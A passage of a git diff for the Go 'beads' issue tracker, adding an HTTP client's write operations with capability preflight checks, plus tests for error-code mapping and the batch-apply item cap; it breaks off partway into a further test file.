claim: being ON the table has to mean the code + // reaches a row rather than the status-class default branch. 418 is frozen to + // no code, so a code that fell through would answer with the 4xx default. + for _, code := range mapped { + got := sentinelFor(&ProblemError{Code: code, Status: 418}, target{}) + if errors.Is(got, ErrBadRequest) { + t.Errorf("code %q is on the table but falls through to the default branch", code) + } + } + // And the converse, so the probe above is meaningful. + if got := sentinelFor(&ProblemError{Code: "no_such_code", Status: 418}, target{}); !errors.Is(got, ErrBadRequest) { + t.Errorf("an unmapped code did not take the default branch: %v", got) + } +} + +func TestEveryDocumentedCodeCarriesTheStatusTheServerFroze(t *testing.T) { + // The client dispatches on `code` alone, which is only safe because the + // server freezes one status per code. If that ever stopped being true, the + // default branch's status-class fallback would be reading a status that no + // longer means anything. + for _, code := range documentedCodes(t) { + if httpapi.Code(code).Status() == 0 { + t.Errorf("code %q has no frozen status on the server", code) + } + } +} + +// documentedCodes collects every `x-bd-codes` entry in the shipped OpenAPI +// document — the per-operation vocabulary rows and the shared component +// responses alike — sorted and deduplicated. +func documentedCodes(t *testing.T) []string { + t.Helper() + var doc any + if err := yaml.Unmarshal(spec.OpenAPIV0(), &doc); err != nil { + t.Fatalf("parse the embedded openapi document: %v", err) + } + seen := map[string]struct{}{} + var walk func(any) + walk = func(node any) { + switch n := node.(type) { + case map[string]any: + for key, value := range n { + if key == "x-bd-codes" { + list, ok := value.([]any) + if !ok { + t.Fatalf("x-bd-codes is %T, want a list", value) + } + for _, item := range list { + code, ok := item.(string) + if !ok { + t.Fatalf("x-bd-codes entry is %T, want a string", item) + } + seen[code] = struct{}{} + } + continue + } + walk(value) + } + case []any: + for _, item := range n { + walk(item) + } + } + } + walk(doc) + + if len(seen) == 0 { + t.Fatal("no x-bd-codes rows found; the document's shape changed and this gate is now vacuous") + } + out := make([]string, 0, len(seen)) + for code := range seen { + out = append(out, code) + } + slices.Sort(out) + return out +} diff --git a/internal/httpclient/wire/writes.go b/internal/httpclient/wire/writes.go new file mode 100644 index 000000000..561cfa080 --- /dev/null +++ b/internal/httpclient/wire/writes.go @@ -0,0 +1,566 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wire/writes.go@49d1df2f6) +// to OSS beads under the MIT license. +package wire + +import ( + "context" + "net/http" + "net/url" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/issueops" +) + +// defaultApplyBatchItemCap is the item cap this client enforces against a +// server that does NOT advertise CapBatchApplyLarge — the original, +// always-supported shape every v0 server answers regardless of build. It is +// deliberately not the only cap this client ever applies: see ApplyBatch, +// which reads the handshake snapshot on every call and raises the ceiling to +// issueops.MaxApplyBatchItems the moment the server says it can take it. A +// compiled constant used UNCONDITIONALLY is exactly what task #3 forbids — +// this one is the floor a server might not have raised, not the client's own +// opinion of where the line should be. +const defaultApplyBatchItemCap = 100 + +// The v0 write operations, one method per operationId. +// +// Each one preflights ITSELF. Do deliberately does not — a transport test must +// be able to drive one request without standing up a handshake — but the +// capability check is not a policy the CALLER should be able to forget: an +// unrouted path on an older server answers a bare 404 that reads as "no such +// issue", and D6 requires the advertised list to be consulted before the dial. +// The layer that knows an operation's id is the layer that can never omit it, +// so it lives here rather than in each role's dispatch site. +// +// The request carries IssueID and DependsOnID where the operation has them. +// They are not sent: the problem mapper needs them to rebuild the typed +// conflicts whose extension members the server leaves out because the request +// already said them (see problem.go's target). + +// ClaimIssue claims one issue. Unlike the other first-slice operations it is +// NOT exempt from the pre-flight (ga-b8ddd.11): a claim is a write, and the +// dispatch below forces the handshake so the project-identity gate runs before +// the claim can land. issues.claim is first-slice on every v0 server, so that +// gate costs one handshake round trip and never refuses a claim on capability. +func (c *Client) ClaimIssue(ctx context.Context, id string, body apigen.ClaimRequest) (*apigen.ClaimResponse, error) { + path, err := IssueMethodPath(id, MethodClaim) + if err != nil { + return nil, err + } + var out apigen.ClaimResponse + r := Request{Op: OpClaimIssue, Method: http.MethodPost, Path: path, Body: body, IssueID: id} + if err := c.dispatch(ctx, r, &out); err != nil { + return nil, err + } + return &out, nil +} + +// CreateIssue creates one issue, with its parent, its explicit edges and its +// waits-for gate, as one transaction. +// +// A PLAIN COLLECTION POST, and the response is the bare issue rather than an +// envelope: this operation creates one member of the collection its path names, +// so what comes back is the member — the row as STORED, carrying the id the +// server minted, the status it defaulted and the timestamps it persisted. +// +// It carries no IssueID, unlike the four operations that name one in their path. +// A create's id may not exist yet, and the problem mapper's target exists to +// rebuild conflicts the server left endpoints out of because the REQUEST said +// them — a create's `already_exists` is about an id the caller may never have +// spelled, so supplying one here would name a row this request did not choose. +// The role puts the caller's own id back where there was one. +func (c *Client) CreateIssue(ctx context.Context, body apigen.CreateIssueRequest) (*apigen.Issue, error) { + var out apigen.Issue + r := Request{Op: OpCreateIssue, Method: http.MethodPost, Path: PathIssues, Body: body} + if err := c.dispatch(ctx, r, &out); err != nil { + return nil, err + } + return &out, nil +} + +// ReleaseIssue gives the claim on one issue back, and is the claim's inverse on +// the same custom-method dispatcher. +// +// It carries IssueID like the four operations that name one in their path, and +// on this one the reconstruction it feeds is not decorative: the ownership fence +// answers `already_claimed`, whose typed *issueops.ClaimConflictError is rebuilt +// from the request's id plus the members the server sends. Leaving the id off +// would name the empty string in a refusal about a specific row. +// +// The RESPONSE carries the post-release revision beside the issue, because +// types.Issue.RowVersion is `json:"-"` and the token cannot ride the row. The +// role stitches the two back together; see httpReleaser.Release. +func (c *Client) ReleaseIssue(ctx context.Context, id string, body apigen.ReleaseIssueRequest) (*apigen.ReleaseIssueResponse, error) { + path, err := IssueMethodPath(id, MethodRelease) + if err != nil { + return nil, err + } + var out apigen.ReleaseIssueResponse + r := Request{Op: OpReleaseIssue, Method: http.MethodPost, Path: path, Body: body, IssueID: id} + if err := c.dispatch(ctx, r, &out); err != nil { + return nil, err + } + return &out, nil +} + +// AddComment appends one comment to the thread an issue owns. +// +// A PLAIN COLLECTION POST onto a SUB-RESOURCE, which is a shape no other method +// here has: the path names the collection (`/issues/{id}/comments`) rather than +// the resource, and what comes back is the member — the comment row as stored, +// with the id the insert minted and created_at at the column's own precision. +// That is the single create's posture, one level down. +// +// It carries IssueID for the ANCHOR rather than for a conflict: this operation +// raises none — a thread is append-only and the write touches no field of the +// issue — so the id travels only so a refusal names the row the request named. +func (c *Client) AddComment(ctx context.Context, id string, body apigen.AddCommentRequest) (*apigen.Comment, error) { + path, err := IssueCommentsPath(id) + if err != nil { + return nil, err + } + var out apigen.Comment + r := Request{Op: OpAddComment, Method: http.MethodPost, Path: path, Body: body, IssueID: id} + if err := c.dispatch(ctx, r, &out); err != nil { + return nil, err + } + return &out, nil +} + +// ClaimNextIssue takes the next ready issue the filter admits, as ONE act. +// +// IT NAMES NO ID BECAUSE IT NAMES NO ROW, which is what makes it a +// collection-level custom method rather than a mode of issues/{id}:claim: the +// caller asks a question and the server's role picks the answer, inside the +// transaction that commits it. +// +// THE FILTER IS THE QUERY AND THE ACTOR IS THE BODY, which is the operation's +// split rather than this method's arrangement of it. The filter vocabulary is +// GET /v0/beads/ready's and goes through the same server-side decode, so a body +// object would be a second expression of one predicate; the actor is provenance +// that lands in a column, and this surface has always carried that in a body. +// +// It carries no IssueID for CreateIssue's reason, one step further along: there +// is no id the caller could have supplied, so a refusal has none to name. The +// operation raises no per-row conflict anyway — a row a racing agent already +// took is simply not in the set the claim scanned. +func (c *Client) ClaimNextIssue(ctx context.Context, params url.Values, body apigen.ClaimNextRequest) (*apigen.ClaimNextResponse, error) { + var out apigen.ClaimNextResponse + r := Request{Op: OpClaimNextIssue, Method: http.MethodPost, Path: PathIssuesClaimNext, Query: params, Body: body} + if err := c.dispatch(ctx, r, &out); err != nil { + return nil, err + } + return &out, nil +} + +// CloseIssue closes one issue. +func (c *Client) CloseIssue(ctx context.Context, id string, body apigen.CloseIssueRequest) (*apigen.CloseIssueResponse, error) { + path, err := IssueMethodPath(id, MethodClose) + if err != nil { + return nil, err + } + var out apigen.CloseIssueResponse + r := Request{Op: OpCloseIssue, Method: http.MethodPost, Path: path, Body: body, IssueID: id} + if err := c.dispatch(ctx, r, &out); err != nil { + return nil, err + } + return &out, nil +} + +// ReopenIssue reopens one issue. +func (c *Client) ReopenIssue(ctx context.Context, id string, body apigen.ReopenIssueRequest) (*apigen.ReopenIssueResponse, error) { + path, err := IssueMethodPath(id, MethodReopen) + if err != nil { + return nil, err + } + var out apigen.ReopenIssueResponse + r := Request{Op: OpReopenIssue, Method: http.MethodPost, Path: path, Body: body, IssueID: id} + if err := c.dispatch(ctx, r, &out); err != nil { + return nil, err + } + return &out, nil +} + +// UpdateGuards are updateIssue's three compare-and-set preconditions, as the +// caller hands them to the transport. +// +// EVERY MEMBER IS A POINTER AND NIL MEANS ABSENT. That is not a style choice on +// any of the three: `expected_version` 0 is a legal token — the migration-0054 +// backfill left rows holding it — and `expected_assignee` "" is a legal guard, +// the one that says "only if nobody holds it". A zero value is a REQUEST on +// both, so the only encoding that can express "no guard" is the absent member, +// and `omitempty` on a pointer omits exactly the nil. +// +// It is a type of its own rather than three arguments because they travel +// together and mean one thing, and because a fourth parameter of the same +// primitive type beside `actor` is the shape a caller transposes. +type UpdateGuards struct { + // ExpectedVersion is the row's `revision`, compared for equality alone. It + // is a STRING on the wire — the token's decimal spelling, rendered by + // types.RevisionToken from the int64 the role holds — because the token + // spans the full 64-bit range and a JSON number would be rounded past 2^53 + // by any IEEE-754-double consumer. The server refuses a bare number on this + // member with a 400, so the int64 never reaches the body. + ExpectedVersion *string `json:"expected_version,omitempty"` + // ExpectedStatus is the status the request guards on, spelled as the + // workspace's own vocabulary. + ExpectedStatus *string `json:"expected_status,omitempty"` + // ExpectedAssignee is the assignee the request guards on. A pointer to the + // empty string guards on UNASSIGNED and is a different request from nil. + ExpectedAssignee *string `json:"expected_assignee,omitempty"` +} + +// updateBody is updateIssue's request body as this client has to build it. +// +// It is deliberately NOT apigen.UpdateIssueRequest. That type spells the patch +// as pointer members with `omitempty`, which collapses two different requests +// into one document: on this operation a member's PRESENCE is the signal to +// write it and an explicit null on one of the four nullable members is the +// CLEAR, so an omitted member and a null member must be distinguishable — and a +// nil pointer under `omitempty` is neither. The patch therefore arrives already +// decided by its builder, and this layer marshals it verbatim. +// +// The GUARDS are embedded rather than spelled again, so their json tags — and +// the absent-is-not-zero rule those tags encode — have one definition. +// +// The RESPONSE stays apigen's: nothing about reading one is ambiguous. +type updateBody struct { + Actor string `json:"actor"` + Patch map[string]any `json:"patch"` + UpdateGuards +} + +// UpdateIssue patches one issue. It is the only PATCH on this surface: the +// operation's pattern equals its spec path, so no custom-method suffix is +// involved and the id is an ordinary escaped segment. +// +// The guards ride BESIDE the patch, at the body's top level, which is where the +// server reads them: one smuggled into the patch document would be an unknown +// member of `patch` and a 400. +func (c *Client) UpdateIssue(ctx context.Context, id, actor string, patch map[string]any, guards UpdateGuards) (*apigen.UpdateIssueResponse, error) { + path, err := IssuePath(id) + if err != nil { + return nil, err + } + var out apigen.UpdateIssueResponse + body := updateBody{Actor: actor, Patch: patch, UpdateGuards: guards} + r := Request{Op: OpUpdateIssue, Method: http.MethodPatch, Path: path, Body: body, IssueID: id} + if err := c.dispatch(ctx, r, &out); err != nil { + return nil, err + } + return &out, nil +} + +// CompareAndSetMetadata swaps one metadata key of one issue if and only if it +// currently holds the request's `expected`, and reports what it found either +// way. +// +// IT IS THE ONE WRITE HERE WHOSE REFUSAL IS A SUCCESS. A lost race answers 200 +// with `swapped: false` and the value that refused the swap, so there is no 409 +// for the problem mapper to classify and nothing about the verdict reaches this +// layer at all: the caller dispatches on the body. That is deliberate on the +// server's side — a conflict code would put the ordinary path of a retry loop +// into the error channel, and the value the loop needs next would have to +// travel in a problem extension member. +// +// It carries IssueID like the four operations that name one in their path: the +// resource is one row, and a conflict the problem mapper rebuilds for it should +// name the row the request named. +func (c *Client) CompareAndSetMetadata(ctx context.Context, id string, body apigen.CompareAndSetMetadataRequest) (*apigen.CompareAndSetMetadataResponse, error) { + path, err := IssueMethodPath(id, MethodCASMetadata) + if err != nil { + return nil, err + } + var out apigen.CompareAndSetMetadataResponse + r := Request{Op: OpCompareAndSetMetadata, Method: http.MethodPost, Path: path, Body: body, IssueID: id} + if err := c.dispatch(ctx, r, &out); err != nil { + return nil, err + } + return &out, nil +} + +// AddDependencies asserts a set of edges as one transaction. +// +// issueID and dependsOnID name the SINGLE edge a one-edge request carries, and +// are empty for a multi-edge one. That is not a shortcut: the wire's +// dependency_exists refusal does not say which edge collided, so a batch's +// reconstructed conflict has to leave its endpoints empty — and inventing the +// first edge's ids there would name the wrong pair. +func (c *Client) AddDependencies(ctx context.Context, body apigen.AddDependenciesRequest) (*apigen.AddDependenciesResponse, error) { + r := Request{Op: OpAddDependencies, Method: http.MethodPost, Path: PathDependenciesAdd, Body: body} + if len(body.Edges) == 1 { + r.IssueID = body.Edges[0].IssueId + r.DependsOnID = body.Edges[0].DependsOnId + } + var out apigen.AddDependenciesResponse + if err := c.dispatch(ctx, r, &out); err != nil { + return nil, err + } + return &out, nil +} + +// RemoveDependency removes exactly one edge. +func (c *Client) RemoveDependency(ctx context.Context, body apigen.RemoveDependencyRequest) (*apigen.RemoveDependencyResponse, error) { + r := Request{ + Op: OpRemoveDependency, Method: http.MethodPost, Path: PathDependenciesRemove, Body: body, + IssueID: body.IssueId, DependsOnID: body.DependsOnId, + } + var out apigen.RemoveDependencyResponse + if err := c.dispatch(ctx, r, &out); err != nil { + return nil, err + } + return &out, nil +} + +// SweepIssues clears the closed beads of one tier. +// +// It carries no IssueID, unlike the operations above: a sweep names no +// resource — it describes a SET and the server resolves it — so there is +// nothing for the problem mapper to rebuild a per-issue conflict from. +func (c *Client) SweepIssues(ctx context.Context, body apigen.SweepRequest) (*apigen.SweepResult, error) { + r := Request{Op: OpSweepIssues, Method: http.MethodPost, Path: PathIssuesSweep, Body: body} + var out apigen.SweepResult + if err := c.dispatch(ctx, r, &out); err != nil { + return nil, err + } + return &out, nil +} + +// DeleteIssues erases the named beads. +// +// The ids travel in the BODY rather than the path, so no id is escaped here: +// this is a collection-level custom method, and one request deletes many rows +// as one transaction. +func (c *Client) DeleteIssues(ctx context.Context, body apigen.DeleteIssuesRequest) (*apigen.DeleteIssuesResult, error) { + r := Request{Op: OpDeleteIssues, Method: http.MethodPost, Path: PathIssuesDelete, Body: body} + var out apigen.DeleteIssuesResult + if err := c.dispatch(ctx, r, &out); err != nil { + return nil, err + } + return &out, nil +} + +// BatchCreateIssues creates every issue in the body, or none of them. +func (c *Client) BatchCreateIssues(ctx context.Context, body apigen.BatchCreateRequest) (*apigen.BatchCreateResponse, error) { + r := Request{Op: OpBatchCreateIssues, Method: http.MethodPost, Path: PathIssuesBatchCreate, Body: body} + var out apigen.BatchCreateResponse + if err := c.dispatch(ctx, r, &out); err != nil { + return nil, err + } + return &out, nil +} + +// BatchCloseIssues closes a set of issues the request names as ONE act, and is +// the write side of `bd close a b c`. It is NOT all-or-nothing: a refused id is +// a per-item outcome inside a 200, so the response carries one entry per item +// and the survivors still commit. +// +// The response's TOP level goes through the existing problem mapper like every +// other operation: a 400 (bad body), a 503 (busy) or a 5xx is the method's own +// typed error. The per-item outcomes inside a 200 are the CALLER's to walk — +// each BatchCloseItemError carries its own code — because the close vocabulary a +// per-item refusal answers with is the role's, not the transport's. +func (c *Client) BatchCloseIssues(ctx context.Context, body apigen.BatchCloseRequest) (*apigen.BatchCloseResponse, error) { + var out apigen.BatchCloseResponse + r := Request{Op: OpBatchCloseIssues, Method: http.MethodPost, Path: PathIssuesBatchClose, Body: body} + if err := c.dispatch(ctx, r, &out); err != nil { + return nil, err + } + return &out, nil +} + +// ApplyUpdateItem is one `update` item of a plan, as this client has to build +// it. +// +// It is deliberately NOT apigen.ApplyUpdateItem, for updateBody's reason and +// only that reason: the patch is a DOCUMENT rather than a struct, because on +// this member — as on PATCH /v0/beads/issues/{id} — presence is the signal to +// write a field and an explicit null on one of the four nullable members is the +// CLEAR, and a struct of pointers with `omitempty` collapses those two states +// into one. The builder is encodeApplyPatch; this layer marshals what it +// decided. +// +// Every other member is spelled exactly as apigen.ApplyUpdateItem spells it, +// and the write-ledger gate classifies this shape against THAT type so a member +// published upstream and missing here cannot go unnoticed. +type ApplyUpdateItem struct { + Target apigen.Ref `json:"target"` + Patch map[string]any `json:"patch"` + // The guard trio, per item and pointers for UpdateGuards' reason: "0" is a + // legal row version and "" is the guard that says "only if nobody holds + // it", so absent has to stay absent on all three. The version is the + // token's decimal string, spelled by types.RevisionToken, for the reason + // UpdateGuards.ExpectedVersion gives. + ExpectedVersion *string `json:"expected_version,omitempty"` + ExpectedStatus *string `json:"expected_status,omitempty"` + ExpectedAssignee *string `json:"expected_assignee,omitempty"` + ForceClosePolicy *bool `json:"force_close_policy,omitempty"` + ForceAssigneeTransfer *bool `json:"force_assignee_transfer,omitempty"` +} + +// ApplyItem is one item of a plan: a `kind` and exactly one payload naming it. +// +// THE TAG IS ENFORCED BY THE CALLER and cannot be enforced here, which is the +// document's own doctrine rather than an omission on this side: the schema +// carries four optional payload members and a required tag rather than a schema +// alternation, so nothing in any generated type stops a request carrying two +// payloads or a payload the kind does not name. The role builds these, and it +// refuses all three disagreements before the dial. +type ApplyItem struct { + Kind string `json:"kind"` + Create *apigen.ApplyCreateItem `json:"create,omitempty"` + Update *ApplyUpdateItem `json:"update,omitempty"` + Close *apigen.ApplyCloseItem `json:"close,omitempty"` + DepAdd *apigen.ApplyDepAddItem `json:"dep_add,omitempty"` +} + +// ApplyBatchRequest is issues:batchApply's body, carrying the item type above. +type ApplyBatchRequest struct { + Actor string `json:"actor"` + Items []ApplyItem `json:"items"` + Provenance *string `json:"provenance,omitempty"` + ForceIDPrefix *bool `json:"force_id_prefix,omitempty"` + SkipPerEdgeCycleCheck *bool `json:"skip_per_edge_cycle_check,omitempty"` +} + +// ApplyBatch applies an ordered, heterogeneous plan as ONE transaction, or +// applies none of it. +// +// IT IS THE WIDEST WRITE ON THIS SURFACE and the only one that is all-or-nothing +// across several verbs. That shapes what this layer can carry: there are no +// per-item outcomes to walk on a refusal — an item that refused took the whole +// request down, and every other item's outcome would be a statement about a +// transaction that rolled back — so the offender travels in the problem +// document's `item_*` members instead, which the mapper decodes and the role +// rebuilds into an *issueops.ItemError. +// +// It carries no IssueID and no DependsOnID, for the batch add's reason and then +// some: the request names as many rows as it has items, so a conflict the +// problem mapper rebuilt from ONE of them would name an arbitrary row. The role +// puts the offender back from `item_issue_id`, which the server reads inside the +// refusing transaction. +func (c *Client) ApplyBatch(ctx context.Context, body ApplyBatchRequest) (*apigen.ApplyBatchResponse, error) { + // The batch cap, read off the handshake snapshot rather than a bare + // compiled constant (task #3): a server that has not raised its own + // ceiling only ever promised the original 100-item shape, and sending it + // more would earn a 400 this client can refuse before paying the round + // trip for. Handshake is cached after the first call, so this costs no + // extra dial on the common path — ApplyBatch is never a baseline + // operation, so Preflight below would force the same fetch anyway. + snap, err := c.Handshake(ctx) + if err != nil { + return nil, err + } + limit := defaultApplyBatchItemCap + if snap.Has(CapBatchApplyLarge) { + limit = issueops.MaxApplyBatchItems + } + if n := len(body.Items); n > limit { + if !snap.Has(CapBatchApplyLarge) && n <= issueops.MaxApplyBatchItems { + // Raising the ceiling would admit this plan: the exact "a + // capability it does not advertise" shape the skew matrix already + // covers (D7 case 2), caught here before the dial instead of read + // back off the 400 an unaware server would otherwise answer with + // its own un-raised cap. + return nil, NewCapabilityError(OpApplyBatch, CapBatchApplyLarge, c.base.Redacted(), &snap.Context) + } + // Over the absolute ceiling even with the capability present: no + // token any server could advertise raises this further, so it is a + // validation refusal rather than a skew one — see BatchTooLargeError. + return nil, &BatchTooLargeError{Op: OpApplyBatch, ServerURL: c.base.Redacted(), Count: n, Limit: issueops.MaxApplyBatchItems} + } + + var out apigen.ApplyBatchResponse + r := Request{Op: OpApplyBatch, Method: http.MethodPost, Path: PathIssuesBatchApply, Body: body} + if err := c.dispatch(ctx, r, &out); err != nil { + return nil, err + } + return &out, nil +} + +// RememberMemory stores one memory. An absent key asks the server to derive +// one, which is why the body's Key is a pointer all the way down: an empty +// string and an omitted member mean different things here. +func (c *Client) RememberMemory(ctx context.Context, body apigen.RememberRequest) (*apigen.RememberedMemory, error) { + r := Request{Op: OpRememberMemory, Method: http.MethodPost, Path: PathMemories, Body: body} + var out apigen.RememberedMemory + if err := c.dispatch(ctx, r, &out); err != nil { + return nil, err + } + return &out, nil +} + +// RecallMemory reads one memory. A miss — including a row stored as the empty +// string — is a 404, which the problem mapper turns into issueops.ErrNotFound; +// the memory role converts that to its own Found-false result, because +// memoryops has deliberately no ErrNotFound. +func (c *Client) RecallMemory(ctx context.Context, key string) (*apigen.Memory, error) { + path, err := MemoryPath(key) + if err != nil { + return nil, err + } + var out apigen.Memory + r := Request{Op: OpGetMemory, Method: http.MethodGet, Path: path} + if err := c.dispatch(ctx, r, &out); err != nil { + return nil, err + } + return &out, nil +} + +// ForgetMemory removes one memory and answers with the value it removed, read +// in the deletion's own transaction. +func (c *Client) ForgetMemory(ctx context.Context, key string) (*apigen.Memory, error) { + path, err := MemoryPath(key) + if err != nil { + return nil, err + } + var out apigen.Memory + r := Request{Op: OpForgetMemory, Method: http.MethodDelete, Path: path} + if err := c.dispatch(ctx, r, &out); err != nil { + return nil, err + } + return &out, nil +} + +// ListMemories enumerates the memory plane. The narrowing parameter is spelled +// `search` — not `q`, which is queryIssues' spelling. +func (c *Client) ListMemories(ctx context.Context, search string) (*apigen.MemoriesPage, error) { + var query url.Values + if search != "" { + query = url.Values{"search": []string{search}} + } + var out apigen.MemoriesPage + r := Request{Op: OpListMemories, Method: http.MethodGet, Path: PathMemories, Query: query} + if err := c.dispatch(ctx, r, &out); err != nil { + return nil, err + } + return &out, nil +} + +// ListReadyWork reads one page of the ready front. +// +// It lives beside the writes because the composed ReadyClaimer is what needed it +// first, and that is now a fact about ONE LEG rather than about the wire: +// ClaimNextIssue above dials the operation where the server advertises it, and +// the composition — this read followed by claimIssue — survives only as the +// down-level leg for a server older than #5510. The reader role wants the same +// operation, and this method is the one it uses: there must never be a second +// spelling of one operation on this client, which is why a read sits in a file +// of writes rather than being copied into one. +func (c *Client) ListReadyWork(ctx context.Context, params url.Values) (*apigen.ReadyPage, error) { + var out apigen.ReadyPage + r := Request{Op: OpListReadyWork, Method: http.MethodGet, Path: PathReady, Query: params} + if err := c.dispatch(ctx, r, &out); err != nil { + return nil, err + } + return &out, nil +} + +// dispatch is preflight-then-Do, the pairing every operation method above owes +// and none of them may skip. +func (c *Client) dispatch(ctx context.Context, r Request, out any) error { + if err := c.Preflight(ctx, r.Op); err != nil { + return err + } + return c.Do(ctx, r, out) +} diff --git a/internal/httpclient/wire/writes_batch_cap_test.go b/internal/httpclient/wire/writes_batch_cap_test.go new file mode 100644 index 000000000..c023b090b --- /dev/null +++ b/internal/httpclient/wire/writes_batch_cap_test.go @@ -0,0 +1,133 @@ +// Written fresh for OSS beads S2 (no bd-enterprise source copied). +package wire + +import ( + "errors" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/issueops" +) + +// applyBatchRequestOfSize builds the smallest valid ApplyBatchRequest with n +// items -- a plain create apiece, since ApplyBatch's own cap logic never looks +// past len(body.Items). +func applyBatchRequestOfSize(n int) ApplyBatchRequest { + items := make([]ApplyItem, n) + for i := range items { + items[i] = ApplyItem{Kind: string(apigen.ApplyItemKindCreate), Create: &apigen.ApplyCreateItem{Title: "t"}} + } + return ApplyBatchRequest{Actor: "w", Items: items} +} + +// This suite is task #3's own behavior, separate from the generic two-speed +// gate writes_twospeed_test.go already proves for OpApplyBatch (whether the +// OPERATION "issues.batchApply" is routed at all). Here the operation is +// always routed; what is under test is the ITEM-COUNT ceiling ApplyBatch +// enforces for itself, off issues.batchApplyLarge, before ever dialing +// PathIssuesBatchApply. + +// withBatchApply advertises issues.batchApply (so Preflight never refuses) +// plus whatever else the caller wants layered on top. +func withBatchApply(extra ...string) []string { + return append([]string{"issues.batchApply"}, extra...) +} + +func TestApplyBatchAtOrUnderTheFloorSucceedsWithoutTheCapability(t *testing.T) { + c, rec := newTestClient(t, Options{}, nil, serveEverything(contextBody("v0", "proj-1", withBatchApply()...))) + if _, err := c.ApplyBatch(ctx(t), applyBatchRequestOfSize(defaultApplyBatchItemCap)); err != nil { + t.Fatalf("ApplyBatch at the floor (%d items): %v", defaultApplyBatchItemCap, err) + } + // One handshake (cached across Handshake-then-Preflight) plus the batch + // apply itself. + if rec.count() != 2 { + t.Fatalf("made %d requests, want 2 (context, then the batch apply)", rec.count()) + } + if got := rec.at(t, 1).path; got != PathIssuesBatchApply { + t.Errorf("second request = %q, want %q", got, PathIssuesBatchApply) + } +} + +func TestApplyBatchOverTheFloorWithoutTheCapabilityRefusesBeforeDialing(t *testing.T) { + c, rec := newTestClient(t, Options{}, nil, serveEverything(contextBody("v0", "proj-1", withBatchApply()...))) + n := defaultApplyBatchItemCap + 1 + _, err := c.ApplyBatch(ctx(t), applyBatchRequestOfSize(n)) + + var capErr *CapabilityError + if !errors.As(err, &capErr) { + t.Fatalf("err = %v (%T), want *CapabilityError", err, err) + } + if capErr.Capability != CapBatchApplyLarge { + t.Errorf("Capability = %q, want %q", capErr.Capability, CapBatchApplyLarge) + } + // Only the handshake's own context fetch; the batch-apply endpoint must + // never be dialed once the item count alone is enough to refuse. + if rec.count() != 1 { + t.Fatalf("made %d requests, want only the handshake", rec.count()) + } + if got := rec.at(t, 0).path; got != PathContext { + t.Errorf("only request = %q, want %q", got, PathContext) + } +} + +func TestApplyBatchAtTheRaisedCeilingSucceedsWithTheCapability(t *testing.T) { + c, rec := newTestClient(t, Options{}, nil, + serveEverything(contextBody("v0", "proj-1", withBatchApply(CapBatchApplyLarge)...))) + n := issueops.MaxApplyBatchItems + if _, err := c.ApplyBatch(ctx(t), applyBatchRequestOfSize(n)); err != nil { + t.Fatalf("ApplyBatch at the raised ceiling (%d items) with %s advertised: %v", n, CapBatchApplyLarge, err) + } + if rec.count() != 2 { + t.Fatalf("made %d requests, want 2 (context, then the batch apply)", rec.count()) + } + if got := rec.at(t, 1).path; got != PathIssuesBatchApply { + t.Errorf("second request = %q, want %q", got, PathIssuesBatchApply) + } +} + +func TestApplyBatchBetweenTheFloorAndTheCeilingWithTheCapabilitySucceeds(t *testing.T) { + // A count the floor alone would refuse, admitted once the server raises + // its own ceiling -- the capability actually changing the outcome, not + // just being present. + c, _ := newTestClient(t, Options{}, nil, + serveEverything(contextBody("v0", "proj-1", withBatchApply(CapBatchApplyLarge)...))) + n := defaultApplyBatchItemCap + 1 + if _, err := c.ApplyBatch(ctx(t), applyBatchRequestOfSize(n)); err != nil { + t.Fatalf("ApplyBatch at %d items with %s advertised: %v", n, CapBatchApplyLarge, err) + } +} + +func TestApplyBatchOverTheAbsoluteCeilingRefusesRegardlessOfTheCapability(t *testing.T) { + for _, tc := range []struct { + name string + capabilities []string + }{ + {"capability absent", withBatchApply()}, + {"capability present", withBatchApply(CapBatchApplyLarge)}, + } { + t.Run(tc.name, func(t *testing.T) { + c, rec := newTestClient(t, Options{}, nil, serveEverything(contextBody("v0", "proj-1", tc.capabilities...))) + n := issueops.MaxApplyBatchItems + 1 + _, err := c.ApplyBatch(ctx(t), applyBatchRequestOfSize(n)) + + var tooLarge *BatchTooLargeError + if !errors.As(err, &tooLarge) { + t.Fatalf("err = %v (%T), want *BatchTooLargeError", err, err) + } + if tooLarge.Count != n { + t.Errorf("Count = %d, want %d", tooLarge.Count, n) + } + if tooLarge.Limit != issueops.MaxApplyBatchItems { + t.Errorf("Limit = %d, want %d (no token raises this further)", tooLarge.Limit, issueops.MaxApplyBatchItems) + } + if !errors.Is(err, issueops.ErrValidation) { + t.Error("err does not satisfy issueops.ErrValidation; over the absolute ceiling is a validation refusal, not a skew one") + } + // No token any server advertises raises this further, so this must + // never reach the batch-apply endpoint either. + if rec.count() != 1 { + t.Fatalf("made %d requests, want only the handshake", rec.count()) + } + }) + } +} diff --git a/internal/httpclient/wire/writes_twospeed_test.go b/internal/httpclient/wire/writes_twospeed_test.go new file mode 100644 index 000000000..da2799032 --- /dev/null +++ b/internal/httpclient/wire/writes_twospeed_test.go @@ -0,0 +1,399 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wire/writes_twospeed_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package wire + +import ( + "context" + "errors" + "go/ast" + "go/parser" + "go/token" + "io" + "net/http" + "net/url" + "slices" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" +) + +// The TWO-SPEED POLICY at the WRITE door. +// +// The store has one door for reads — (*Store).dispatch — and +// TestEveryDispatchSiteHonorsTheTwoSpeedPolicy proves nothing reaches the +// transport around it. The write roles do not use that door: they hold a typed +// WriteWire and call ClaimIssue, CloseIssue, UpdateIssue and the rest, each of +// which builds its own request here. So the property the read test proves for +// the store has to be proved AGAIN, one layer down, for these methods — and it +// is a different proof, because there is no single call site to point at. +// +// Two halves, because either alone is satisfiable by a mistake: +// +// behavioral an operation whose token the server does not advertise must +// refuse BEFORE its own request is made. Observed at the server, +// not at a spy: what matters is that the path was never dialed. +// structural every operation method routes through c.dispatch rather than +// c.Do. A method that preflighted by hand would satisfy the +// behavioral half today and drift the first time someone copies +// it, which is exactly how the sixth of six such methods gets +// written without the preflight. +// +// The failure this prevents is the one D6 names: an unrouted path on an older +// server answers a bare 404, and a 404 on this surface reads as "no such +// issue". A write that skipped the preflight would tell a user their issue does +// not exist when the truth is that their server cannot close issues. + +// writeOp is one operation method as the roles reach it. The call drives the +// real method with the smallest arguments it accepts; nothing here inspects the +// result, because the question is only which requests reached the server. +type 